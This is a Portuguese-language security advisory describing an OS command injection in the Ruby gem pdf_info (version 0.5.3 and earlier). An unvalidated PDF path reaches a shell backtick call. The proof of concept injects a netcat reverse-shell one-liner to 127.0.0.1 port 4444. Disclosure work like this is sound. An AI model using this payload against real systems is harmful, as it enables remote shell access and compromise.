
pdf_info <= 0.5.3 Injeção de Comandos do SO
A gem ruby pdf_info <= 0.5.3 é vulnerável a Injeção de Comandos do SO ao executar um método em um objeto PDF::Info.
Um atacante que utilize uma payload especialmente elaborada pode executar comandos do SO usando encadeamento de comandos.
Quando um novo objeto PDF::Info é criado, o comando initialize é chamado:
def initialize(pdf_path)
@pdf_path = pdf_path
end
Durante a inicialização do objeto, nenhuma validação é realizada e o caminho fornecido pelo usuário é utilizado.
Podemos criar um objeto PDF::Info e retornar os metadados de um PDF com o seguinte:
#!/usr/bin/env ruby
require 'pdf/info'
info = PDF::Info.new("./pdf/sample1.pdf")
pp info.metadata
Quando chamamos o método metadata no objeto PDF::Info, uma chamada é feita ao método process_output com o argumento passado sendo o método command.
O método command faz uso da variável de classe @pdf_info para executar o comando pdfinfo no sistema usando o seguinte trecho de código para retornar a saída do comando:
output = `#{self.class.command_path} -enc UTF-8 -f 1 -l -1 "#{@pdf_path}" 2> /dev/null`
Assim como no método initialize, nenhuma validação é realizada na variável @pdf_path. Isso nos permite usar encadeamento de comandos com ; para executar um comando arbitrário.
info = PDF::Info.new('pdf/sample1.pdf; $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444>/tmp/f)')
pp info.metadata
O trecho de código acima executará uma reverse shell para 127.0.0.1 na porta 4444.
